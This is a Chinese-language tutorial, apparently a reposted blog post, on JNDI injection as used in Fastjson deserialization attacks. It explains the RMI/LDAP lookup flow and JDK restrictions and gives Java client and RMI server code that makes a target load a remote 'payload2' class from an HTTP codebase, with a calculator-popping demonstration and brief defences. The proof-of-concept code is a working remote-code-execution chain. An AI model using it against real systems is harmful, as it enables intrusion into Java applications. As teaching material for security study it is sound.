Fastjson反序列化漏洞——JNDI注入

news2024/9/19 13:29:50

一.前言

之前使用反序列化和序列化时写入的到文件里面的,真实环境中,也是这样吗?

当然不是了,通过二进制,字节流数据进行的。

为什么会有JNDI?

由于http和ftp传输消耗资源仍然很大,就有了JRMP协议(java开发),像腾讯,阿里,有自己的一套java开发环境,用原生态的JRMP协议不是很方便,于是在这个基础上,他们就开发了一些其他功能,比如rmi协议,ldap协议。

但这样造成的问题就是,兼容性差,为了解决这个问题,为了规范,所以有了这个JNDI协议,JNDI协议下面就有了rmi,ldap协议,所以java里面一般都有这个JNDI依赖包。

JNDI可访问的现有的目录以及服务有:JDBC(数据库的连接),LDAP,RMI,NID,CORBA

JDBC(数据库的连接):主机a要连接数据库b,就要用的这个依赖包。

LDAP:文件传输,字节传输。

JNDI是对各种访问目录服务的逻辑进行了再封装,其实jndi里面没有什么的,类似目录,帮你访问。

二.JNDI的介绍

JNDI是java命名与目录接口(java Naming and Directory Interface),在 J2EE规范中是重要的规范之一。调用JNDI的API应用程序可以定位资源和其它 程序对象。

java Application 调用JNDI API接口从某个类中的lookup函数,方法调用LDAP,RMI协议,实现功能,这些只有java语言里面才有。

有些公司,比如weblogic这个中间件,它是付费的,那他又在这个基础上定义了一个协议,就是T3协议,专门用于weblogic里面传输数据,这里也有漏洞。

这些协议遇到对象,反序列化的数据,就会解析,比如数据里面有恶意方法,就会执行,这就叫做JNDI注入

三.复现事项

在复现的过程中,注意JDK的版本,JDK在版本中对JNDI的利用有一定的限制。

比如说JDK 6u141、7u131、8u121之后:增加了com.sun.jndi.rmi.object.trustURLCodebase选项,默认为false,禁止RMI和CORBA协议使用远程codebase的选项,因此RMI和CORBA在以上的JDK版本上已经无法触发该漏洞,但依然可以通过指定URI为LDAP协议来进行JNDI注入攻击。 当然还有ldap的协议也要注意, 注意JDK 6u211、7u201、8u191之后:增加了com.sun.jndi.ldap.object.trustURLCod

四.jndi注入的利用条件

(1)客户端的lookup()方法参数可控

(2)服务端在使用Reference时,classFactoryLocation参数可控

五.注入的一个流程

可以先理解这个

这是较全面的过程

1)目标代码中调用了InitialContext.lookup(URI),且URI为用户可控;

(2)攻击者控制URI参数为恶意的RMI服务地址,如:rmi://hacker_rmi_server//name;

(3)攻击者RMI服务器向目标返回一个Reference对象,Reference对象中指定某个精心构造的Factory 类;

(4)目标在进行lookup()操作时,会动态加载并实例化Factory类,接着调用 factory.getObjectInstance()获取外部远程对象实例;

(5)攻击者可以在Factory类文件的构造方法、静态代码块、getObjectInstance()方法等处写入恶意代 码,达到RCE的效果; 

六.通过代码理解过程以及注入点

由于懒得搞服务器,我就直接用本机上电脑搭建http和rmi服务端。

客户端 

//客户端
import javax.naming.Context;
import javax.naming.InitialContext;
import javax.naming.NamingException;

public class Main {
    public static void main(String[] args) throws NamingException {
        Context context = new InitialContext();
        //context.lookup("rmi://47.106.158.168:1099/hh0czl");
        context.lookup("rmi://127.0.0.1:1099/evil");
        //查询rmi协议的资源,以rmi协议请求127.0.0.1:1099端口获取evil,如果说我evil这个是恶意的,是不是就会被解析了。
    }
}

注意:这里的127.0.0.1:1099可控的,真实环境里面是将这里传入我们的rmi的url的 ,这里我没去搞服务器,就直接写死了。

RMI服务端

//服务端
import com.sun.jndi.rmi.registry.ReferenceWrapper;
import javax.naming.NamingException;
import javax.naming.Reference;
import java.rmi.AlreadyBoundException;
import java.rmi.RemoteException;
import java.rmi.registry.LocateRegistry;
import java.rmi.registry.Registry;
public class RMIServer {
    public static void main(String[] args) throws RemoteException, NamingException, AlreadyBoundException {
        Registry registry = LocateRegistry.createRegistry(1099);//服务端创建了一个端口1099,启动1099
        String url = "http://127.0.0.1:7777/";//服务端返回给客户端,让客户端去访问这个url,请求资源
        System.out.println("Create RMI registry on port 1099");
        Reference reference = new Reference("payload2", "payload2", url);//rmi服务断与这个http://127.0.0.1:6666绑定
        ReferenceWrapper referenceWrapper = new ReferenceWrapper(reference);
        registry.bind("evil", referenceWrapper);
    }
}

运行rmi服务端,监听1099端口。

 HTTP服务器,存放paylaod 

payload2就是我们的恶意攻击。

监听7777端口

通过页面去访问一下

 之前也说了,传输数据是以字节码数据进行传输的,所以我们还需要对payload2编译一下。

javac payload2.java

 

与二进制有点类似,看不懂。 

开始运行

弹出计算器

当然我们也可以使用工具 ,你可以下载到自己的服务器上面,工具直接就可以帮你搭建rmi和http服务器。

七.JDNI防御

1.严格过滤用户传参

2.禁止这些协议使用远程codebase的选项

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/2141679.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

macOS Sequoia发布:Apple又给我们带来了什么惊喜?

今天是个激动人心的日子,尤其是对于Mac用户来说,因为Apple正式发布了全新的操作系统——macOS Sequoia。作为一款专为Mac设备设计的操作系统,Sequoia不仅仅是简单的升级,它承载了Apple在系统体验上的巨大飞跃。听到这个消息,你可能会好奇,Apple这次又会带来什么样的创新?…

【Python】高效图像处理库:pyvips

月亮慢慢变圆,日子慢慢变甜。 在图像处理领域,pyvips 是一个轻量级且高效的库,适合处理大规模图像、实现高性能的操作。相较于其他常见的图像处理库如 PIL 或 OpenCV,pyvips 以其低内存占用和出色的速度脱颖而出。本文将介绍 pyv…

2024年全国大学生数学建模竞赛B题生产过程中的决策问题分析

目录 引言 问题 1:抽样检测方案设计 问题 2:生产过程中的决策 决策阶段划分 决策方案 结果 问题 3:多道工序和零配件的决策 生产流程 决策过程 问题 4:基于抽样检测的重新决策 动态调整次品率 结论 引言 在2024年全国…

[Golang] Sync

[Golang] Sync 文章目录 [Golang] Syncsync.WaitGroupsync.Once对比init() sync.Lock互斥锁和读写锁互斥锁读写锁 死锁问题加锁解锁不成对循环等待 sync.Mapsync/atomicatomic和mutex的区别atomic.value sync.Pool如何使用sync.Pool使用场景 Golang中我们一般提倡使用通信来共享…

Java入门,初识Java

Java背景知识 Java是早期美国 sun 公司(Stanford University Network)在1995年推出的一门计算机高级编程语言。Java早期称为Oak(中文翻译为:橡树),后期改名为Java。(因为当时sun公司门口有很多…

MySQL_数据类型简介

课 程 推 荐我 的 个 人 主 页:👉👉 失心疯的个人主页 👈👈入 门 教 程 推 荐 :👉👉 Python零基础入门教程合集 👈👈虚 拟 环 境 搭 建 :&#x1…

【计算机网络】TCP 协议——详解三次握手与四次挥手

文章目录 一、引言二、TCP1、TCP 的数据格式2、TCP 的三次握手3、TCP 的四次挥手4、TCP 的全双工通信 三、TCP 的状态转换1、TCP 连接的建立(三次握手)状态2、TCP 连接的终止(四次挥手)状态3、TCP 异常情况 一、引言 TCP与UDP的区…

Linux操作系统文件权限管理

Linux操作系统下文件的权限分为当前用户权限、用户组权限和其他用户权限,然后每一类用户或组又分为读权限(r)、写权限(w)和可执行权限(x)。 如图1,打开任一目录,右键单击文件,在弹出菜单选择“属性”,在弹出的属性选项…

一款强大的吉他乐谱编辑软件GuitarPro 8.2中文解锁版

GuitarPro 8.2中文解锁版是一款强大的吉他乐谱编辑软件,适合新手和专业乐手。它提供详尽教程和实用工具,助力初学者掌握吉他技巧;对于专业乐手,它精准记录音符和节奏,提供丰富编辑功能和音效处理。此外,软件…

【python版】示波器输出的csv文件(时间与电压数据)如何转换为频率与幅值【方法④】

将示波器输出的 CSV 文件中的时间和电压数据转换为频率和幅值数据的过程涉及几个步骤,下面是详细的步骤和相关的计算公式: 1. 导入数据 首先,你需要将 CSV 文件中的时间和电压数据导入到数据分析工具中,比如 Python(…

【网络】TCP/IP 五层网络模型:网络层

最核心的就是 IP 协议,是一个相当复杂的协议 TCP 详细展开讲解,是因为 TCP 确实在开发中非常关键,经常用到,IP 则不同,和普通程序猿联系比较浅。和专门开发网络的程序猿联系比较紧密(开发路由器&#xff0…

深度学习自编码器 - 随机编码器和解码器篇

序言 在深度学习领域,自编码器作为一种无监督学习技术,凭借其强大的特征表示能力,在数据压缩、去噪、异常检测及生成模型等多个方面展现出独特魅力。其中,随机编码器和解码器作为自编码器的一种创新形式,进一步拓宽了…

COTERRORSET—— LLM训练新基准让模型从自身错误中学习

概述 论文地址:https://arxiv.org/pdf/2403.20046.pdf 在最近的研究中,大规模语言模型因其推理能力而备受关注。这些模型在各种任务和应用中取得了令人瞩目的成果,尤其是使用思维链(CoT)提示方法的有效性已得到证实。…

智慧宿舍平台|基于Springboot+vue的智慧宿舍系统(源码+数据库+文档)

智慧宿舍系统 目录 基于Springbootvue的智慧宿舍系统 一、前言 二、系统设计 三、系统功能设计 四、数据库设计 五、核心代码 六、论文参考 七、最新计算机毕设选题推荐 八、源码获取 博主介绍:✌️大厂码农|毕设布道师,阿里云开发社区乘风者…

FPGA基本结构和简单原理

前言: FPGA全程为(Field Programmable Gate Array)现场可编程逻辑阵列,以基本的逻辑为主可以实现大多数芯片可以实现的功能,比如说:ASIC芯片等,在半导体领域有着重要的作用。 本文…

3. 轴指令(omron 机器自动化控制器)——>MC_MoveAbsolute

机器自动化控制器——第三章 轴指令 4 MC_MoveAbsolute变量▶输入变量▶输入输出变量▶输入输出变量 功能说明▶指令详情▶时序图▶重启运动指令▶多重启动运动指令▶异常 示例程序1▶参数设定▶动作示例▶梯形图▶结构文本(ST) 示例程序2▶参数设定▶动作示例▶梯形图▶结构文…

【智路】智路OS 应用开发

1 总览 1.1 功能 智路OS的应用基于框架提供的服务数据,实现场景理解、指标计算、V2X核心功能实现,应用包括但不限于: V2X应用场景实现交通事件检测交通流指标计算系统监控路径规划控制 开发者可以基于智路OS框架和数据,实现自…

【CSS in Depth 2 精译_030】5.2 Grid 网格布局中的网格结构剖析(下)

当前内容所在位置(可进入专栏查看其他译好的章节内容) 第一章 层叠、优先级与继承(已完结) 1.1 层叠1.2 继承1.3 特殊值1.4 简写属性1.5 CSS 渐进式增强技术1.6 本章小结 第二章 相对单位(已完结) 2.1 相对…

Python编程 - 线程

目录 前言 一、线程的使用 (一)基础使用 (二)等待线程完成 (三)多个线程 (四)守护线程 (五)线程同步 (六)总结 二、队列对象 …

编译成功!QT/6.7.2/Creator编译Windows64 MySQL驱动

找了很多编译博文,都错误。最后找到了正确编译办法: https://zhuanlan.zhihu.com/p/567883165 直接下载编译好的源码及dll文件 https://download.csdn.net/download/quantum7/89760587 安装VS Virsual Studio 2022 Community D:\Program Files\Micr…